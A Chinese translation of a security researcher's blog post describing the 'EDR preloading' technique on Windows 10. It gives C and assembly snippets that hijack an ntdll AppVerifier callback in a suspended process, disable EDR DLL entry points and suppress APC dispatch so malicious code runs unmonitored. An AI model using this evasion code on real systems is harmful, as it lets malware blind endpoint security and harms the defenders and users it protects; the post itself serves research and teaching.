1.摘要
在之前的一篇文章中, 详细介绍了如何利用系统调用来绕过用户模式的EDR挂钩, 这里将介绍另一种EDR预加载的替代技术, 该技术涉及在EDR的DLL加载到进程之前运行恶意代码, 使我们能够完全阻止其运行。通过中和EDR模块, 可以实现自由调用函数而不必担心用户模式钩子, 因此不需要依赖直接或间接的系统调用。
这种技术利用了EDR加载其用户模式组件的方式中的一些假设和缺陷。EDR需要将其DLL注入到每个进程中, 以便hook用户模式函数, 但如果DLL运行的太早, 进程将崩溃; 如果运行的太晚, 进程可能已经执行了恶意代码。大多数EDR采取的最佳时机是尽可能晚的启动其DLL,同时仍然能够在调用进程入口点之前完成所有需要的操作。
理论上, 我们只需要找到一种在进程初始化中稍早加载代码的方法, 就可以抢先于EDR执行操作。
2.Windows进程加载器概述
要理解EDR DLL何时可以加载和不能加载, 需要了解一些关于进程初始化的知识。
每当创建一个新进程时,内核将目标可执行文件的映像与ntdll.dll一起映射到内存中。然后创建一个单线程,最终将作为入口线程。此时,进程只是一个空壳(PEB、TEB和导入都未初始化)。在可以调用进程入口点之前,必须执行相当多的设置。
每当新线程启动时,其启动地址将设置为ntdll!LdrInitializeThunk(),它负责调用ntdll!LdrpInitialize()。
ntdll!LdrpInitialize()有两个目的:
-
初始化进程(如果尚未初始化)
-
初始化线程
ntdll!LdrpInitialize()首先检查全局变量ntdll!LdrpProcessInitialized,如果设置为FALSE,则会导致在初始化线程之前调用ntdll!LdrpInitializeProcess()。
ntdll!LdrpInitializeProcess()会执行其字面意思。它将设置PEB,解析进程导入项,并加载任何必需的DLL。
在ntdll!LdrpInitialize()的最后调用了ntdll!ZwTestAlert(),这是用于运行当前线程APC队列中所有异步过程调用(APCs)的函数。将代码注入目标进程并通过ntoskrnl!NtQueueApcThread()调用它的EDR驱动程序将在此处执行其代码。
一旦线程和进程初始化完成并且ntdll!LdrpInitialize()返回,ntdll!LdrInitializeThunk()将调用ntdll!ZwContinue()将执行权转移到内核。然后内核将设置线程指令指针指向ntdll!RtlUserThreadStart(),该函数将调用可执行文件的入口点,进程的生命周期正式开始。
进程初始化流程如下图:
3.旧的绕过技术及缺点
早期的APC排队
由于APC按先进先出的顺序执行,有时可以通过先排队自己的APC来抢占某些EDRs的位置。许多EDRs通过使用ntoskrnl!PsSetLoadImageNotifyRoutine()注册内核回调来监视新进程。每当新进程启动时,它会自动加载ntdll.dll和kernel32.dll,因此这是一种很好的方法来检测新进程何时正在初始化。通过以挂起状态启动进程,可以在初始化之前排队一个APC,因此最终排在队列的最前面。这种技术有时被称为“早期注入”。
排队APC的问题在于,它们长期以来一直被用于代码注入,因此ntdll!NtQueueApcThread()被大多数EDRs挂钩和监视。将APC排队到挂起的进程中是非常可疑的,并且有很好的文档记录。EDR还可能Hook APC,重新排序APC队列,或者执行其他任何操作以确保其DLL首先运行。
TLS回调
TLS回调在ntdll!LdrpInitializeProcess()结束之前执行,但在ntdll!ZwTestAlert()之前执行,因此在任何APC之前执行。在应用程序使用TLS回调的情况下,一些EDRs可能会注入代码以拦截回调,或者稍微提前加载EDR DLL以进行补偿。令我惊讶的是,我测试的某些EDR实际上仍然可以通过TLS回调绕过。
4.寻找新方法
我的目标很简单,但实际上一点也不简单,而且非常耗时。我想找到一种在入口点之前、在TLS回调之前、在可能干扰我的代码之前执行代码的方法。这意味着要逆向工程整个进程和DLL加载器,以寻找我可以使用的任何东西。最后,我找到了我需要的东西。
AppVerifier和ShimEnginer接口
很久以前,微软创建了一个名为AppVerifier的工具,用于应用程序验证。它旨在在运行时监视应用程序的错误、兼容性问题等。AppVerifier的许多功能都是通过在ntdll中添加一整套新的回调函数来实现的。
在逆向工程AppVerifier层时,我实际上找到了两组有用的回调(AppVerifier和ShimEngine)。
下图是Shim Engine和App Verifier相关的变量:
我注意到的两个指针分别是ntdll!g_pfnSE_GetProcAddressForCaller和ntdll!AvrfpAPILookupCallbackRoutine,它们分别属于ShimEngine和AppVerifier层。这两个指针都在ntdll!LdrGetProcedureAddressForCaller()的末尾被调用,该函数是由GetProcAddress()内部使用的,用于解析导出函数的地址。
这些回调非常完美,因为当加载kernelbase.dll时,LdrpInitializeProcess()保证会调用LdrGetProcedureAddress()。它还在任何尝试使用GetProcAddress() / LdrGetProcedureAddress()解析导出时被调用,包括EDR,这具有很大的潜力。更好的是,这些指针存在于在进程初始化之前可写入的内存段中。
虽然有许多不错的选项,但我决定选择AvrfpAPILookupCallbackRoutine,它似乎是在Windows 8.1中引入的。虽然可以使用旧的回调函数来与早期版本的Windows兼容,但那将是更多的工作,我想保持我的PoC简单。
AppVerifer接口的其余部分要求安装一个“验证器提供程序”,这需要大量的内存操作。ShimEngine稍微容易一些,但将g_ShimsEnabled设置为TRUE会启用所有回调,而不仅仅是我们想要的,因此必须注册每个回调,否则应用程序将崩溃。
较新的AvrfpAPILookupCallbackRoutine有两个很好的原因:
-
它可以独立于AppVerifier接口启用,只需设置ntdll!AvrfpAPILookupCallbacksEnabled即可,因此不需要AppVerifier提供程序。
-
ntdll!AvrfpAPILookupCallbacksEnabled和ntdlL!AvrfpAPILookupCallbackRoutine都很容易在内存中找到,特别是在Windows 10上。
5.EDR预加载技术介绍
为了演示目的,我决定构建一个利用AvrfpAPILookupCallbackRoutine回调函数的概念验证,以在EDR DLL之前加载它,然后阻止其加载。目前,我只在两个主要的EDR上进行了测试,但在稍微调整后,理论上应该可以针对任何EDR代码注入。
步骤1:定位AppVerifier回调指针, 为了设置回调,需要设置ntdll!AvrfpAPILookupCallbacksEnabled和ntdll!AvrfpAPILookupCallbackRoutine。在Windows 10上,这两个变量位于ntdll的.mrdata节的开始处,该节在进程初始化期间可写。
ntdll!AvrfpAPILookupCallbacksEnabled直接位于ntdll!LdrpMrdataBase之后(尽管有时ntdll!LdrpKnownDllDirectoryHandle位于其之前)。
这两个变量似乎总是相隔恰好8个字节,且顺序相同。在已初始化的进程中,布局应如下所示:
偏移量+0x00 – ntdll!LdrpMrdataBase(设置为.mrdata节的基址)
偏移量+0x08 – ntdll!LdrpKnownDllDirectoryHandle(设置为非零值)
偏移量+0x10 – ntdll!AvrfpAPILookupCallbacksEnabled(设置为零)
偏移量+0x18 – ntdll!AvrfpAPILookupCallbackRoutine(设置为零)
我们可以在自己的进程中扫描.mrdata节,找到一个包含节基址的指针,然后在其后的第一个NULL值将是AvrfpAPILookupCallbackRoutine。
ULONG_PTR find_avrfp_address(ULONG_PTR mrdata_base) {
ULONG_PTR address_ptr = mrdata_base + 0x280; //the pointer we want is 0x280+ bytes in
ULONG_PTR ldrp_mrdata_base = NULL;
for (int i = 0; i < 10; i++) {
if (*(ULONG_PTR*)address_ptr == mrdata_base) {
ldrp_mrdata_base = address_ptr;
break;
}
address_ptr += sizeof(LPVOID); // skip to the next pointer
}
address_ptr = ldrp_mrdata_base;
// AvrfpAPILookupCallbackRoutine should be the first NULL pointer after LdrpMrdataBase
for (int i = 0; i < 10; i++) {
if (*(ULONG_PTR*)address_ptr == NULL) {
return address_ptr;
}
address_ptr += sizeof(LPVOID); // skip to the next pointer
}
return NULL;
}
步骤2: 设置回调调用恶意代码
设置回调的最简单方法就是在挂起状态下启动自己进程的第二个副本。由于在每个进程中ntdll的地址都相同,因此只需要在自己的进程中定位回调指针。一旦进程启动且处于挂起状态,便可以使用WriteProcessMemory()设置指针。
还可以将此技术用于进程空壳化、shellcode注入等,因为它允许执行代码而不创建/劫持线程,或排队APC。但是对于这个PoC,我们将保持简单。
注意:由于许多ntdll指针都是加密的,我们不能简单地将指针设置为目标地址。必须先对其进行加密。幸运的是,密钥在所有进程中具有相同的值并存储在相同的位置。
LPVOID encode_system_ptr(LPVOID ptr) {
// get pointer cookie from SharedUserData!Cookie (0x330)
ULONG cookie = *(ULONG*)0x7FFE0330;
// encrypt our pointer so it'll work when written to ntdll
return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}
现在可以使用WriteProcessMemory()来写入指针,并将AvrfpAPILookupCallbacksEnabled设置为1:
// ntdll pointer are encoded using the system pointer cookie located at SharedUserData!Cookie
LPVOID callback_ptr = encode_system_ptr(&My_LdrGetProcedureAddressCallback);
// set ntdll!AvrfpAPILookupCallbacksEnabled to TRUE
uint8_t bool_true = 1;
// set ntdll!AvrfpAPILookupCallbackRoutine to our encoded callback address
if (!WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address+8), &callback_ptr, sizeof(ULONG_PTR), NULL)) {
printf("Write 2 failed, error: %dn", GetLastError());
}
if (!WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL)) {
printf("Write 3 failed, error: %dn", GetLastError());
}
步骤3:执行回调并中和EDR
一旦在挂起状态下的进程上调用ResumeThread(),每次调用LdrpGetProcedureAddress()时回调都将被执行,其中第一个应该是当LdrpInitializeProcess()加载kernelbase.dll时。
警告:当回调被触发时,kernelbase.dll尚未完全加载,并且触发发生在LdrLoadDll内部,因此加载器锁仍然被获取。尚未加载kernelbase意味着我们仅限于调用ntdll函数,并且加载器锁阻止我们启动任何线程或进程,以及加载DLL。
由于我们在所能做的事情上受到了严格的限制,最简单的做法就是阻止EDR DLL的加载,然后等待进程完全初始化后再开始恶意活动。
为了确保对我测试的EDRs的正确中和,我采取了多方面的方法。
6.DLL覆盖
在进程生命周期的这个早期阶段,应该只加载ntdll.dll、kernel32.dll和kernelbase.dll。一些EDR可能会预先将它们的DLL映射到内存中,但会等到稍后才调用入口点。虽然可能可以在加载器锁被释放后(或手动操作)通过调用ntdll!LdrUnloadDll()来卸载这些DLL,但一个快速而粗糙的解决方案就是简单地覆盖它们的入口点。
我们将遍历LDR模块列表,只替换任何不应存在的DLL的入口点地址。
DWORD EdrParadise() {
// we'll replaced the EDR entrypoint with this equally useful function
// todo: stop malware
return ERROR_TOO_MANY_SECRETS;
}
void DisablePreloadedEdrModules() {
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
LIST_ENTRY* list_head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* list_entry = list_head->Flink->Flink;
while (list_entry != list_head) {
PLDR_DATA_TABLE_ENTRY2 module_entry = CONTAINING_RECORD(list_entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);
// only the below DLLs should be loaded this early, anything else is probably a security product
if (SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
SafeRuntime::wstring_compare_i(module_entry->BaseDllName.Buffer, L"kernelbase.dll") != 0) {
module_entry->EntryPoint = &EdrParadise;
}
list_entry = list_entry->Flink;
}
}
7.禁用APC调度器
当APC被排队到线程时,它们会由ntdll!KiUserApcDispatcher()处理,该函数运行APC然后调用ntdll!NtContinue()将线程返回到其原始上下文。通过挂钩KiUserApcDispatcher并将其替换为我们自己的函数,该函数仅在循环中调用NtContinue(),则不会将任何APC排队到我们的进程中(包括来自EDR内核驱动程序的APC)。
; simple APC dispatcher that does everything except dispatch APCs
KiUserApcDispatcher PROC
_loop:
call GetNtContinue
mov rcx, rsp
mov rdx, 1
call rax
jmp _loop
ret
KiUserApcDispatcher ENDP
8.代理LdrLoadDll调用
通过在ntdll!LdrLoadDll()上设置钩子,可以监视加载的DLL。如果任何EDR尝试使用LdrLoadDll加载其DLL,可以卸载或禁用它。理想情况下,可能希望挂钩ntdll!LdrpLoadDll(),因为这是较低级别的函数,并直接被一些EDR调用,但为了简单起见,这里将只使用LdrLoadDll。
// we can use this hook to prevent new modules from being loaded (though with both EDRs I tested, we don't need to)
NTSTATUS WINAPI LdrLoadDllHook(PWSTR search_path, PULONG dll_characteristics, UNICODE_STRING* dll_name, PVOID* base_address) {
//todo: DLL create a list of DLLs to either be allowed or disallowed
return OriginalLdrLoadDll(search_path, dll_characteristics, dll_name, base_address);
}
9.最后的思考
尽管这个概念验证仅适用于Windows 10 64位,但该技术应该适用于至少早期至Windows 7的系统(没有验证过XP或Vista)。然而,在Windows 10以下的系统中,找到正确的偏移量更加困难。对于更健壮的方法,我建议使用反汇编器。无论如何,这是一个非常有趣的周末项目,希望有人能从中学到一些东西。
完整的源代码参考: https://github.com/MalwareTech/EDR-Preloader
原文地址:
https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
原文始发于微信公众号(二进制空间安全):利用EDR预加载机制绕过EDR